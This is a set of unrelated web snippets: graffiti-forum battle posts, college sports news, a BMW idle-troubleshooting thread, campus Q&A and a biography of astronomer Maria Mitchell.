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redeyes, def has more potential
redeyes, def has more potential
mn nice gmv
despite the fact that you both are horrible. id say mn. his 3d is a lot better then whatever redeyes has going on, as well as i have no idea what is going on with red eyes fill(nice colors though). as for potential id give it to red eyes, cause hes deffinitely going for something that i dont see mn being able to comprise. all in all both ya'll need some more practice if you wanna talk.
Dude's been posting in the intermediate thread and poppin off like a hot head when his shit gets deleted. I told him whats up and he wanted to battle.
sorry to pop everyone's zits, but mn nice has the right idea on building letters properly. both are at the same level, except that mn nice is doing it right with no gimmicks no antics, no connections or addons, while redeyes is pulling out all the tricks with the extensions, arrows, bits and pieces, and the fill... oh that fill. wish you hadn't done it redeyes.
not to mention that horrible 3D
why complicate it and ruin it in the process. look at mn nice... beauty in simplicity.
that's all I got to say, sorry I had to spit this, but I can't stand by and watch you guys cheer for megan fox there
I thought this was a piece battle so I came with my guns, MN's simple is lacking style, consistency in his letters, and is all around just to bland. My fill was a bit random but i sketched that up this morning and threw some color on it. The 3d is pretty on point if you ask me, I messed up my 3d fill so i can see were the mistakes may be but come on to say that is better...
it's hard to say......all I know is redeyes 3d is pretty off
i can't vote it's too hard.
Mues, ive seen you do better but hey its not that bad.
anyway, i wanna battle someone. someone pm me tonight for a battle
Ill battle you, pick a word.
well damn idk. what abouuuuut junk. or damn i dont know you try to pick one
I got you guys. YOLK
Im okay with that but idk the next time ill be at a computer..ill try to get it up tomorrow but if not then def. by this weekend
We could do a 3 way battle, i dont really care what the word is haha just someone decide.
word word jaro i guess. 3 way
Due Sunday, im going camping to trip out so ill sketch it there and post when i get back. full colored piece no simple text book letters. everyone take their time on this one.


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Brevard, N.C. - The Brevard College athletics department is pleased to announce the hiring of Shigeyoshi Shinohara as the new head women's soccer coach for the Tornados. Shinohara comes to Brevard from the University of Montevallo where he has served as the assistant women's soccer coach since August of 2005.
During his time at Montevallo, Shinohara was heavily involved in recruiting for head coach Patricia Hughes, and was also very involved in all facets of the operation of the women's soccer program.
"I am excited about the opportunity to bring in a head coach of this caliber who genuinely embraces the Division II philosophy of balancing academics and athletics. Coming from one of the top 25 Division II soccer programs in the country, Coach Shinohara understands what it takes to develop & build a successful program. His proven leadership, passion, work-ethic, ability to identify and recruit talent, and technical knowledge will provide him the fundamental tools necessary to develop a respected competitive program in the South Atlantic Conference. Not only is he a great addition to our coaching staff, but I am also thrilled about the positive impact he will make on our campus and in our community," stated BC Athletic Director, Kim Pate.
Shinohara takes over a team that finished 6-12-1, 0-8 in the South Atlantic Conference in their inaugural year as full members of both the SAC and NCAA Division II.
"The Brevard women's soccer program has a long established history in the past through Junior College and NAIA play; I feel privileged to be a part of this program," said Shinohara, "since the program is new to NCAA Division II, I am honored to escort this program into a new era and I look forward to building a strong and competitive program together alongside all the student-athletes at Brevard College. I am determined to have a great spring season in order to build a united team to compete in the fall in the South Atlantic Conference."
Shinohara started his coaching career in Yamaguchi, Japan where he was the assistant for the Seiki Football Club of a group aged 10-16 from 1994-2001. From there he moved to the United Soccer Academy where he was responsible for the day-to-day administrative operations as well as being a full-time coach where he coached one-on-one sessions with youth players whose ages ranged from 3-18.
Shinohara opened his collegiate coaching career in August of 2005 when he became the assistant women's coach at the University of Montevallo. During his time at Montevallo, the Falcons were the Gulf South Conference Champions in 2007, making it to the Sweet 16 of the NCAA Tournament before falling to Tampa in the South Region Championship match. Montevallo also was a Gulf South Tournament finalist in 2008.
In addition to his collegiate work, Shinohara has been a member of the Alabama Olympic Developmental Program staff from August 2005-present, evaluating and training players as well as coaching in spring and summer camps in the district and state. He also coached the 2005 Alabama State Cup Division II Champion South Shelby Futball Club Strikers 93 and assisted with the Birmingham United Soccer Association Alabama State League U15 Division I Champions Lady Jets 92 Blue team in 2006.
The 2008 Tornado Hall of Fame inductee for Exceptional Coaching, Joe Bartlinski, who led the Tornados to national prominence in the Junior College ranks had this to say about Shinohara, "Coach Shinohara is very well respected by his coaching peers because of his tremendous work ethic. Coach Shug's unbridled energy and enthusiasm will be greatly admired by both his colleagues on campus and his team. He will be a tremendous addition to a very proud athletic program."
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Alright, sketch sent in.
Alright, sketch sent in.
The files are IN the computer!!
Fube sending it in right now
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if u gotta advance a loser id go with bets, bilnek was good too... just my 2 cents on that
and yea... there were plenty of people that wanted in on these battles and u fools just wasted one of them... i say infractions are in order lol
But battling get you better. It actually helps you define your style due to the fact you wont be sketching the same 4 or 5 or how ever many letters you have in your name over and over. And it also a good to time to see if what your doing is paying off. Cause I know cats who can rock thier name with eaze but cant rock any other letters. But man you'll never know, so do say stuff like "Im going to loose anyway" Just give it your all. Cause in the long run it counts. And if you do give it your all then you can get good Crits on your work. Which could seriously help you I helps me all the time. Sorry not tryin to sound soft of any shit I just thought I should say that. KEEP YO HEADS UP you fucks lol.
Alts- You Dirty old bastard Hope to battle you in the semi Finals
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did u submit virus? im waitin to see that one..... and whens vagr postin the olympics battle?
Yeah i sent him my sketch about 10mins ago. And Idk when he's posting the battle. he might now be posting it cause ppl are focused on this and are entering.
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Hey Fube so whens the "word" 4 the handy battle in the next round announcement
good call wg... it should be announced soon if the due dates next saturday... i wanna start fuckin around with it
2 battles posted.
CrustOner - sketch in
Bets369r - sketch in --------battle posted.
Ages24 - sketch in
WGONE - sketch in------battle posted.
STFUPPERCUT---- no show, Bets auto advance.
Sizzuurp - sketch in
seywhat - sketch in------battle posted
sofatoner - sketch in
mawks - sketch in ------battle posted
alts13 - sketch in
Bilnek - sketch in------ battle posted
Weakfingers - sketch in
Zookyook - sketch in
Empty Can - sketch in------ battle posted
need a clear winner with virus and weak fingers before i think of something.
I don't know everyone would think of it but i think we should have the dealine 4 the next round like tues or wed. , just to speed things up a little and keep the waitng at a minimum , just an idea
haha I say Thurs/Fri.
No More Weekly Toy Battles.
the first battle is always the longest. it gets quicker the longer it runs.
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I don't have a day off till Wednesday, but since its just a handstyle battle I can probably get it done
the viruz/squint battle is gonna go till the last minute
is it locked in handstyle or still fubes choice? just wondering...
give crits to get crits in the toy forum.
its going to go piece, handstyle, throwie, then piece again.
whats time weaks and soz battlke overe


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SPRINGFIELD, IL -- More than 270 operator-run video lottery terminals were activated in 65 locations statewide at 11 a.m. on Oct. 9, with the prospect of thousands more locations joining the system in the months to come.
First report of the market launch came from Sam Westgate of J&J Ventures (Carmi), a member and past president of the Illinois Coin Machine Operators Association, which lobbied for 20 years to create the VLT opportunities for independent service organizations.
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Dennis Erickson doesn't know too much about Travis Wilson's throwing skills and doesn't know all of Utah's tight ends or receivers, but he does know one thing: They are all about to learn a new level of aggressive play.
Erickson, who was named Utah's co-offensive coordinator Monday, said his goal is to turn Utah's offense into much more of an attacking unit than it has been recently.
Such a goal must sound sweet to the ears of Utah fans, who have watched the offense struggle to put more than 27 points on the board the last two seasons.
"You have to be aggressive and you have to make teams play you," Erickson said. "You have to know what you want to do and we want to do a lot of things. We want different formations, good shots down the field, big plays on offense, all those things go into it."
All those things have been missing from Utah's offense at least on a consistent basis with the Utes averaging just 25.9 points in their first two seasons of Pac-12 play.
The Utes averaged 33.3 points in their final three seasons in the Mountain West.
Such a drop-off could be blamed in part on quarterback injuries, but clearly Utah coach Kyle Whittingham's decision to hire Erickson and name him co-offensive coordinator also is an acknowledgement that promoting Brian Johnson to coordinator after just two years as quarterbacks coach was a bit of a failed experiment.
Whittingham said Erickson, who coached Miami to national titles in 1989 and 1991, will have the final say in offensive decisions.
"He is brought in to make our offense more productive," he said.
The hiring is similar to the one the Utes made in January 2011 when Norm Chow was hired. He was with the Utes only a year before taking the head coaching position at Hawaii.
Whittingham said he envisions Erickson will have a similar role to Chow in that he will oversee the offense but let the assistants handle much of the hands-on duties. Aaron Roderick will remain the passing game coordinator and oversee the receivers, Jay Hill will remain as the running backs coach and Johnson will coach the quarterbacks and work alongside Erickson.
"We're going to make this as un-invasive as possible," Whittingham said.
The 65-year-old Erickson, who had hip replacement surgery last week, said he may split time between Salt Lake City, Phoenix and his home in Coeur d'Alene, Idaho.
Erickson has been helping his son coach his high school team since being fired from Arizona State in 2011. He says he is eager to get back into the college game.
"It's not in my makeup not to be a coach," he said. "Anytime I've moved on in my life it has been back to coaching. It isn't all about me. It's about coaching the players and helping them on and off the field."
The Utes lamented the lack of big plays last season. To help them in that area, Erickson said he wants to use his traditional one-back set and use the tight ends more frequently.
"I like to spread them out, get good matchups, get the running game going and come back at them with tight ends and see how they play," he said. "You have to have a plan but it's not just me. We'll sit down as a staff and see what personnel fits best."
Utah's offense under Whittingham
Scoring Offense
Year Ave. Nat. rank
2012 26.7 73rd
2011 25.0 74th
2010 33.1 23rd
2009 29.9 34th
2008 36.9 15th
2007 26.2 68th
2006 27.9 33rd
2005 30.0 36th
Total Offense
Year Ave. Nat. rank
2012 324.42 105th
2011 310.9 109th
2010 389.0 57th
2009 389.5 54th
2008 400.9 35th
2007 369.9 79th
2006 368.4 41st
2005 473.0 12th
Dennis Erickson's résumé
Dennis Erickson's head coaching career:
1982-85 » Idaho (32-15)
1986 » Wyoming (6-6)
1987-88 » Washington St. (12-10-1)
1989-94 » Miami (63-9)
1995-1998 » Seattle Seahawks (31-33)
1999-2002 » Oregon St. (31-17)
2003-04 » San Francisco 49ers (9-23)
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Kim Kardashian for faking her relationship with Kris Humphries to the point of buying herself her own engagement ring and pretending he bought it for her so she would not have to feel and look pathetic by still being single in her thirties.
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Brevard, N.C. - The Brevard College women's soccer team was unable to defeat their South Atlantic Conference adversary on Saturday as they fell 1-0 to Newberry. With the loss the Tornados fell to 3-12-1 and 1-7-0 in SAC play this season.
In the first half, Brevard was outshot 9-3 without being able to get any great offensive opportunities. The Wolves took four corners in the first half, but neither team was able to find the net as the match was tied at zero heading into half.
It wasn't until the 66th minute that the tie was broken by Newberry. Amberly Fowler took a shot from 20 yards out that was just out of reach of Crissy Moran (Franklin County, Va.). Fowler took a pass from Lora Moore to set-up the only goal of the match.
Moran played all 90 minutes in goal for Brevard. She was able to make seven saves after being shot-on 19 times in the game.
The women head to Dahlonega, Georgia to face-off with North Georgia on Wednesday, October 27th. Game-time is set for 3:30 p.m.


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Alright so its a slow day at work and Ive got a problem Ive been mulling over in my head. My longboard needs some love but Im not sure how much I wanna give her.
I bought her used about five years ago and shes definitely seen some better days. Two years ago I watched her wash up hard on some rocks so theres a big section across the middle bottom section of the board that had to be professionally fixed (somehow the stringer stayed intact while big chunks of foam and fiberglass got ripped out from around both sides of the stringer). The repaired area is the width of the board, maybe 5 inches tall and football shaped. Its an epoxy board but the previous owner of the board had added an extra layer of fiberglass over the epoxy because he was scared of dings.
Now whats happened is that the area that got repaired is delaminating (Im guessing some moisture got in there somehow and temperature changes finished the job). So my question is what are my options for fixing this? The major issue is that its the bottom of the board so its obviously gonna create some serious friction if I try to ride it as is. Im not worried about water making its way to the foam because of the extra layer of epoxy. It looks like that layer is still sealed pretty solid. One of my buddies suggested throwing a layer of resin from the hardware store over it to create a smooth surface.
Does that sound like it would work? Any issues Im not thinking of? Im going for the quick fix so I can ride it this week if we get a little bump.
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Before adjourning, Mrs. Richardson thanked Senator Leatherman and Representative Keegan for being on the Board and for their great work in the state government. Mrs. Richardson also mentioned that after lunch there will be the dedication of the Ashpy Lowrimore Auditorium and a tour of the Faculty/Alumni House. The meeting was adjourned at 12:15 pm.


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(Cincinnati) -- A federal lawsuit accusing the city of Lakewood and its leaders of waging a racially motivated campaign of harassment to drive out a group of black residents is being allowed to proceed.
A three-judge panel of the 6th U.S. Circuit Court of Appeals in Cincinnati ruled Wednesday that the 2010 lawsuit can go to trial.
The judges rejected arguments from the city and three former city officials that they were immune from being sued.
An apartment complex, Hidden Village, accused Lakewood and its officials of targeting black members of a program that helps young people transition from foster care or juvenile detention to living independently. The lawsuit says police gave them frivolous and costly citations and wrongfully searched their homes.
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James West, co-inventor of the modern-day microphone, will give the keynote address Feb. 9 at a leadership conference sponsored by the Princeton chapter of the National Society of Black Engineers.
Scientific American magazine named Dr. Cato Laurencin one of the top 50 innovators in 2007. Dr. Laurencin and his team at the University of Virginia were recognized for developing a synthetic scaffold that promotes regeneration of the anterior cruciate ligament in the knee.
Christopher Fine discussed "Colloboration, Cooperation and Co-opetition" at the VON Fall 2007 Conference in Boston.
Don Boroson, group leader of the Optical Communications Technology Group at the Massachusetts Institute of Technology Lincoln Laboratory, has been named the recipient of a Lincoln Laboratory Technical Excellence Award. The award recognizes "exceptional, sustained individual technical excellence" in a laboratory mission area.
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Look, for the sake of the sanity of most of the Lakers fans who read this blog, I should hope the Ron Artest move was the right one for Mitch Kupchak to make.
Based on many of your responses, substituting Artest for Trevor Ariza was a bold stroke nearly as significant as the trades that brought Kareem Abdul-Jabbar, Magic Johnson, James Worthy, Kobe Bryant and Pau Gasol to the Lakers.
Not quite, but it seemed like it. You know what your comments said.
It's just I believe the Lakers over-reached this time. And I have seen it before. Let me explain.
In 1985, the Lakers finally snapped their Boston jinx, winning the NBA title in Game 6 on Boston Garden's parquet, no less.
Unfortunately, supersub Bob McAdoo, a former NBA MVP, three-time scoring champion and eventual basketball Hall of Famer (2000), had a subpar Finals against the Celtics.
So Jerry West did not re-sign McAdoo (at right with Abdul-Jabbar and Jerry Buss), but brought in Maurice Lucas instead in a move to make the champions even more rugged.
On paper, it looked like another in a series of genius West moves. Lucas was a solid rebounder, a former champion in Portland, a tough, no-nonsense guy in games. Heck, Luke Walton was named for him. And Lucas was five months younger than McAdoo.
Except, the chemistry was never right, never the same. The Lakers, who had already added a pretty tough kid that year by drafting A.C. Green, were knocked out of the playoffs in the West Finals by the Houston Rockets. Coincidentally, those Lakers were the last NBA team Kupchak played on before retiring to become West's assistant.
The Lakers missed the offensive spark they got from McAdoo, who played that season for the Philadelphia 76ers. They still got their defensive lift from Michael Cooper, but it just wasn't the same club as '85. Certainly not better.
The Lakers would have made seven consecutive Finals appearances — four in a row against Boston — if not for that miss, or rather that Ralph Sampson make.
Lucas went to Seattle for the next season, and the Lakers rebounded to win back-to-back titles. McAdoo, showing he was far from done, played in Italy from 1987-93 — until he was 42 — and led Treviso Milano to two European titles.
Over at ESPN, TrueHoop's Henry Abbott really likes the acquisition of Artest, but he also presents the opinions of others.
In that article, David Thorpe had this to say about chemistry:
"I don't think the Lakers are suddenly better, even assuming Lamar Odom is back. What is chemistry worth? Five points? Ten points? I argue it's a difference maker. If you win by eight, maybe chemistry was worth nine. I'm not saying Ron will be a jerk, I don't think he will be. But I do know that for this team to succeed he'll have to play a role, and I don't know how he'll be at that."
McAdoo and Lucas were two of the finest gentlemen I ever met during my NBA coverage tenure, and both are NBA assistant coaches, Lucas with Portland and McAdoo with Miami.
Lucas, 57, underwent surgery for bladder cancer in April.
That's enough of a history lesson for one day. And the following is the last I am going to write about Ariza leaving (until the Lakers play the Rockets, and I measure his progress). That also means I am not going to respond to comments on this post, so if you have questions, sorry.
Two of the lamest excuses I have heard for not offering Ariza more than the midlevel exemption were the contracts given to Luke Walton and Sasha Vujacic. I don't know why Andrew Bynum's contract wasn't thrown in there too, but is the point you're making is that it's not safe to give a raise to anybody on the Lakers except the superstar?
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WebSphere Client Technical Professional Simon Dickerson joins me to talk about how IBM can help you create rock-solid, public-facing web APIs (because they are a critical part of your organization's public image). You can dive deeper into building better web APIs by reading Simon's (and Tanmayee Potluri's) article Introduction to Cast Iron Live Web API Services.
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WASHINGTON -- The Food and Drug Administration's initial projected date for issuing final vending machine calorie-disclosure rules had been April, but the regulation had not been finalized within that time-frame. The White House Office of Management and Budget (OMB) now has said that the rule will be promulgated in its final form in September.
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If you've purchased a seven-channel home theater receiver in the last couple of years, you might be surprised to learn that you possibly have lots of amplifier power just going to waste. Here's why.
Like many of us, when you set up your home theater system you may not have bothered to hook up any rear surround speakers. Those are the ones designed to go all the way in the back of your room behind your regular surround speakers. That means you may still have two out of the seven channels of power available in your receiver with nothing to do (assuming, of course, you haven't put them to work running speakers in another room).
Many newer seven-channel surround sound receivers actually let you redirect the power from those unused rear surround channels to use in combination with the power from your front two channels. In effect, this gives you four dedicated amplifier channels to drive a single pair of compatible left and right front speakers (each of which must have two pairs of input terminals for this to work). This neat trick essentially doubles the available power, resulting in more dynamic, higher-quality sound from your now bi-amped front speakers.
If your speakers have two sets of terminals, then with the right kind of receiver you can probably improve your system's sound by bi-amping.
If your system meets these requirements, you're all set. Basically, you only need to do three things:
- Access your receiver's menu to re-assign the rear surround amplifier channels.
- Remove the jumpers that connect the two pairs of input terminals on your speakers.
- Connect the extra set of wires to the appropriate jacks on the back of your receiver and speakers (most experts recommend using identical pairs of wire for this).
Please be sure to refer to your receiver's manual for specific directions because the details can vary from brand to brand, and model to model.
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Hello, I've searched the forums over several weeks while working on my issue and while symptoms have improved, the problem of dieing still happens at stops sometimes. Looking for some ideas before I get stuck paying to have it looked at.
Bought this from a friend who replaced the head due to a blown head gasket/cracked head. It recieved all new cooling system at the same time. It also received a new O2 sensor after he checked the code that kept coming up after it was all together which I would expect after having antifreeze go through the exhaust, that ruins a 02 sensor right away.
It has and still does have a 02 sensor code the keeps tripping. It had a constant surging at idle but never died when I got it. I found several vacuum leaks that I fixed which helped smooth the idle alot but still had idle issues. Then pulled the ICV and cleaned it which also helped. It still dies every once in a while but idle is fairly constant until it dies.
When it dies it almost is like a miss and cuts out. Sometimes if it doesn't die but has the miss sensation it will actually surge the Idle speed up several hundred RPMs then come back down and stay around the normal 750.
It doesn't always do this at every stop but at least a few times everytime it's driven.
The RPM really doesn't move around on the tach so it's really close to being ok. If I get figure out what is causing it to die I'll be happy.
Could the Cat be plugged and causing issues like this. Maybe the blown head gasket pushing through coolant plugged it? Could the 02 sensor be ruined quickly and be the cause if the vacuum leaks and ICV weren't fixed when replaced.
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That's a very nice, descriptive post. I wish more first timers (heck, even some of the old timers don't get descriptive enough ) would post like that. Do you have the M20 or the M50? It still sounds like you may have a vacuum leak causing some unmetered air to get in the intake.
There are a lot of hoses and areas that can cause a vacuum leak. Have you tried spraying some carb cleaner on all areas? If you get a sudden increase in idle, you have found a leak.
Cleaning the ICV was certainly the correct thing to do as well. It is possible that the ICV is faulty, but I don't thiat this is too common.
You may want to delete the O2 sensor code through the stomp test, disconnecting the DME for 5 minutes or removing the battery posts and touching them together for a few minutes. Whatever is easiest for you.
After that, see if the car behaves better. If it acts up again, do the stomp test and see what codes come up. That may point you in the right direction.
Good luck and let us know how it goes. Hoped this helped a little.
Try cleaning out your tps, its a 5 minute job fortunately :
MAke sure the FPR is not letting too much gas into the engine.
FPR is Fuel Pressure Regulator by the way. We don't usually see that acronym thrown around, just clarifying. Don't mean to step on any toes
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Classic icv and tps. That's idle control valve and throttle position sensor.
Anyway.....longshot but in case the tps does not solve the problem.....disconnect the engine coolant temperature sensor. That can cause really weird engine symptoms too. The sensor is under the intake manifold for m50 engines and is tough to get to...do this when the car is cold. There are two sensors, only one goes to the dme (that's ecu) and the other goes to the dashboard temp gauge. You want to get the first one. Its no biggie if you get the second one as well but find some way to avoid mixing them both up if you disconnect both and you need to reconnect one.
If you disconnect the ect sensor and your problem goes away, then you've got the culprit. Drive with it off until you can get a new one fixed in. Your fuel economy will suffer somewhat in the interim period. IN fact, forgot, that's another clue that your ect is busted. Along with your current symptoms, your fuel economy should be tanking. If you're also getting repeated o2 sensor codes, (suggesting that repeated overfuelling is taking place) then you've got yet another symptom.
So please clean the tps, that's the easiest thing to do and my money's on that, and if the problem does not go away, then disconnect the ect and see.
Please update your thread with your findings later. Thank you.
Thanks for all the feedback, It's a M50.
To me, I think it's a bit doggy too, but then again I don't have anything really to compare it to.
I will try cleaning the TPS and play with the ECt and let you know.
I did buy a used PEAK code reader/reset and the code that does come up as the 02 and comes back even after a reset. It doesn't stay on but comes on once in a while, then goes back off. I've read here, just means the readings are haywire.
I'll look for another vaccuum leak as well.
I did notice the plastic fitting in the bottom/back of the Intak manifold, where the ICV hose connects to the intake, is not the tightest fit in the world. I can't see well enough to see how if snaps in there and believe it has some sort of O-ring to seal it. That could be a source of a vaccuum leak, maybe.
Thanks again. update soon.
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Cleaned the TPS contacts and plugged it in with dielectric grease. Didn't change. Unplugged the #1 ECT and didn't really change. then it died once when I took it down the road and came to a stop.
I think I should clarify to that the idle isn't perfectly smooth but close. It has a small roughness and surge, can't read on the tach.
It does smell a bit riich to me. I would say the muffler is a bit worn out as it kinda sounds like a fart can but it doesn't leak anywhere so I assume it shouldn't really effect runnability.
I'll just keep trying stuff as I hear ideas.
Thanks again.
Is the #1 ect the one for the dme, or the one for the dashboard temp gauge ? You need to unplug the one for the dme.
Try this (and we're on a fishing expedition here), unplug the ect, clear all the error codes (via the stomp test or by unclamping the ecu for a few minutes), then run another test.
While we're on the fishing expedition, lets rule out the o2 sensor as well. If the above does not help, then pull the O2 sensor's relay. It should be in your dme box...please check with the bmanual for the exact location for your car. That's an easy way to deactivate the o2 sensor. Then drive the car again and see if the problem recurs.
Whatever you try, if the problem does not recur, keep it in test running mode for 2-3 days to confirm this, then change the relevant component.
If these do not work.....well......check the hose that's under the throttle body, that fits into the icv. Make sure it is properly fitted, as best as you can. There should be pretty much no wiggle in it.
Poor idle issues can be traced in the following manner. Start the engine, let the engine's note stabilise, then get a can of carb cleaner, and start spraying at possible vacuum leak points. I'm talking the icv area, the throttle body area, the intake manifold gasket area, the vcg vacuum fitting area, around the afm (air flow meter or air mass sensor) etc. If you hit the right spot, the idle will improve...the car will be sucking in carb cleaner, which is flammable, and combustion will improve leading to a better idle. Even if you find a spot, check through everything that you can think of.
I will do a test with a fuel pressure regulator later and let you know if a bad one can cause idling problems and not merely overfuelling ones.
Last edited by robertobaggio20; 11-14-2012 at 10:27 PM.
Ok, what I tried today was replace the vacuum line to the fuel pressure regulator. It wasn't in very good shape so I'm not sure if it was leaking but possible. I took it for a drive to get in up to temp and seams to be better. It never died on me at stop signs or idling in gear but this was only one quick drive. It didn't seam to stnnk as much either.
I may be hoping to much that I found the problem, I will let you all know tomorrow after the real test.
The test will be tomorrow when the wife drives it to work and sits at some stop lights.
It looks like you've found the problem. This would be a new one, at least for me. Proof once again that there is no replacement for one's own hunches and eyeballs. One thing though, before she drives off in the morning, please clear all the error codes first. You can recheck when she gets back and see if the o2 code stays away.
How is the rumble of your idle that you mentioned earlier? Is there any change ?
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I think it is better, but again, it may be wishful thinking. If the wife comes home tomorrow with a smile and I get lucky, I know it worked. LOL!
I'll go ahead and clear the codes right now and see what happens.
Thanks again
OK, reset codes. I went ahead and drove it again but longer and more stops. It runs really good accept It does still have a random miss/stumble at idle. At a few stop signs I felt a hard miss but it didn't die on me. It's not like it has it every couple seconds, maybe a couple times in a full minute. Once when it did it, I think the ICV opened a bit to counteract it because the idle came up immedietly after the miss to 1000 then settled back down.
I wonder if the spark plugs could cause this if they are cheapy brand?
The gremlin is still out there, but it is now more clearly ignition related. That makes life much easier. And changing the vacuum line was not a waste either.
How old are the plugs ?
A cheapo brand will not cause these problems per se. They just might not be as optimal for your engine as oem ones.
There are two schools of thought on these forums when it comes to plugs. Some people think that the single or dual-claw oem copper plugs are the best. Others prefer to use the 4-claw platinum iridium non management long life spark plugs instead, which last for 100k. Bosch sells both. The price difference between both is insignificant for practical purposes even when you multiply it by 8.
You could also have a leaky valve cover gasket that fills some of the plug wells with oil. When this happens, the ignition charge's delivery is affected. It could produce these symptoms too I suppose. You might want to remove the spark plug concerned and clean it with carb cleaner if the threads are oiled up. The solution is to extract out any oil using cleanex, then eventually get your vcg replaced properly (there are ways to screw up the reinstallation, please use the manual for correct instructions.)
If your spark plugs are old, and your vcg (valve cover gasket) is not leaking, just change the plugs out to a new set. Small money. Even if this does not solve the problem, you are likely to get a slightly improved performance from your engine.
As a worse case scenario, your ignition coil(s) could be busted. They do not always produce a fault code when they are buggy. Bentley has coil resistances that you can check. Check out the low hanging fruit first before you come to this.
Last edited by robertobaggio20; 11-18-2012 at 07:57 PM.
Will check coils and spark plug boots. It received new plugs just before I got the car, just not sure what brand. I found a download for the Bentley so I'll check the readings for the coils and check them.
do remember if it has been running rough this will foul up plugs and fuel mixtures are all over the place and this will cause a miss so clean up the plugs anyhow
A littlwe update as I am still fighting this a little. It still has a cough, and sometimes dies when it does this. Really only when it's fully up to temp and only at idle. Otherwise it runs fine and idles smooth(most of the time). Wish I could nail this.
What have you done so far ? What have you doublechecked ?
I think I may have nailed it today.
The last couple weeks I kept thinking about the cough and dieing being worse as it was more up to temp and also about how this car was overheated and had a cracked head prior to my purchasing it.
The Coolant Temp Sensor has a direct influence on fuel mixture so I was thinking with the issue of it being overheated it could have been damaged by the excessive heat. PLus it was one of the only things left I hadn't really replaced or cleaned.
The sensor was only $17.
When I removed it the actual plug-in part seperated from the brass portion and the mating portion was very corroded and rusty where they had been attached. The threads also had some corrosion.
Installed the new one with some antisieze on the threads and some dielectric grease on the plug-in. Reset the codes, and drove it for about a half hour. Not once did it cough or die at idle.
The real test, the wife! She is heading out now and I'll get the results soon. Crossing my fingers, if it's fixed I may get rewarded. LOL!
One other thing I did check was the spark plug boots. They looked ok but I did clean them and used a little dielectric grease inside the boots when I reinstalled the coil packs and boots. Don't know if this contributed but it can't hurt.
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Thanks for the follow up. Good catch. Good luck and I hope it holds up.
I'm happy that you nailed it but didn't you test the ect by disconnecting it earlier ? Did you doublecheck everything after you sorted out the vacuum lines? Was there a code anywhere (does the stomp test work on your car) ?
I have a code reader and it always came up as O2 (code FF 46) and reset it often. I reset it this time and it hasn't came back on yet. I'll give it a few days to verify but so far so good.
I disconnected the CTS a while back to see what it did and really didn't change much, maybe even worse.
When I first started sorting this out it originally had a idle that surged up and down. As I found vacuum leaks and cleaned items, it improved to stable but then the cough/die started happening once I did everything else.
The wife just texted me and said ran good, not one cough. Hope it stays that way.
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Aug. 31, 2012 -- Sign update needed
When are the directory signs in Signers' and Eielson going to be updated to reflect correct office names and locations? Some offices moved several years ago.
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Thank you for your feedback. We are putting in work orders this morning to update the signs in Signers' Hall and the Eielson Building.
Aug. 31, 2012 -- Blackboard technical issues
The glacial speed of Blackboard is a huge problem right now -- we are strongly urged to use Blackboard, but it is taking 15 or 20 seconds to move from page to page -- contacting OIT suggests that this is a known problem and might only persist for "several weeks". This is a major productivity issue, and an undue burden on faculty members. STRONG SUGGESTION -- pull out all stops and address this problem NOW.
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Can you tell me which parking lots will be available when classes begin? If some are still closed, which ones are and if you have the timeline of completiton. Also wondering if everyone should be charged full price for parking if they cannot find a parking space?
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All parking lots will be available on campus except about one-third of the Nenana Lot. If you can't find a parking space in or near those locations, please consider parking in the Taku lot.
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I heard that the Chancellor has eliminated the Office of Multicultural Affairs & Diversity and the Women's Center. Is that true?
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No, but the two offices are part of the UAF Office of Diversity and Equal Opportunity (ODEO), which is going through a relocation and a restructure. The Office of Multicultural Affairs and Diversity (OMAD) and the Women's Center are part of those two actions. Here's what's happening.
The directors of both the Women's Center and OMAD are moving their offices to the Nordic House, where they will be co-located with the rest of the Office of Diversity and Equal Opportunity program. That site was chosen and modified at the request of OMAD last year.
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If parking is tight near the Patty Center, there is frequently available parking in the Taku Lot or the museum parking lot. Shuttle service is available from both of those lots and throughout campus.
If you have any questions about parking, chat with parking at www.uaf.edu/parking or call 474-PARK(7275)
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Aug. 9, 2012 -- ASUAF summer schedule
I have tried for the last five weeks to contact ASUAF Senators. Is ASUAF open this summer?
From Anne Williamson, ASUAF Office Manager
To make better use of our funding (provided by student fees), ASUAF does reduce hours and availability significantly in the summer as the Senate does not meet. There is, however, a small summer committee that meets on Sundays at 3 p.m. in the Alumni Lounge of Constitution Hall. The meetings are open.
The ASUAF Office in the Wood Center has been open all summer Mon-Fri, 9 a.m. - 1 p.m. We will be returning to regular hours of 8 a.m. -5 p.m., Monday Aug. 13. Summer hours and contact information are posted on our website.
Though there may not be any Senators in the office until the classes begin, students are more than welcome to call 907-474-7355 or drop in and ask questions.


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"I was raised with a huge Armenian influence, always hearing stories of Armenia, celebrating Armenian holidays," said Kim.
Not all the dominos have fallen: Armenia, for example, shelved its version of the anti-propaganda law after a Western outcry.
Putin has successfully done so now in both the Ukraine and Armenia.
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Maria Mitchell (1818-1889)
Maria Mitchell once said, "We especially need imagination in science. It is not all mathematics, nor all logic, but is somewhat beauty and poetry."
Maria Mitchell, the first acknowledged female astronomer in the United States, was born August 1, 1818 on Nantucket, Massachusetts to William and Lydia Mitchell. Maria was the third child of a Quaker family with ten children and received her education at Cyrus Peirce's School for Young Ladies. Her dedicated father, William Mitchell, contributed much to Maria's education in astronomy, as he was an astronomer and teacher himself. A strong believer of equality for all, Maria's father deeply encouraged his daughter to receive the same education as boys.
She attended the school at which her father was the master, where she developed a love for nature. She then spent a year with the school presided over by Cyrus Peirce, but left in 1835 at the age of 17 to open her own school to train girls in science and math.
In 1836, Maria went to work as the librarian of the Nantucket Atheneum. Over the next twenty years, she further developed her passion for knowledge by reading as many books as she could when the library was closed. While she spent her days reading, she spent her nights observing the sky with her father. William had built an observatory on top of the nearby Pacific Bank, where he was the principal officer, and this served as a catalyst for her achievements in astronomy.
On October 1, 1847, at the age of 29, Maria Mitchell discovered a comet. Not only was this a first in American science, she used a mere two-inch telescope, which illustrates her true skill as an astronomer. After some controversy with an Italian man who claimed the discovery, she was awarded the international medal for this achievement. The comet was named "Miss Mitchell's Comet" and was featured in Elias Loomis' The Recent Progress of Astronomy. As a result, she became the first woman elected to the American Academy of Arts and Sciences in 1848. Just 30 at the time, she would be the only woman thus recognized for almost a century into the future.
Later elected to the American Association for the Advancement of Science and the American Philosophical Society (which still is extant in Philadelphia), Mitchell also probably was the first woman employed in a professional capacity by the federal government. Although women had been hired as cooks, laundresses, etc., her 1849 employment appears to be the first case of a woman earning an annual salary for work based on knowledge of an academic field. The U.S. Coastal Survey paid her $300 a year as a celestial observer. Much of the project's purpose was to develop the science of weather forecasting, and it involved computing distances. She and others who did this were called "computers."
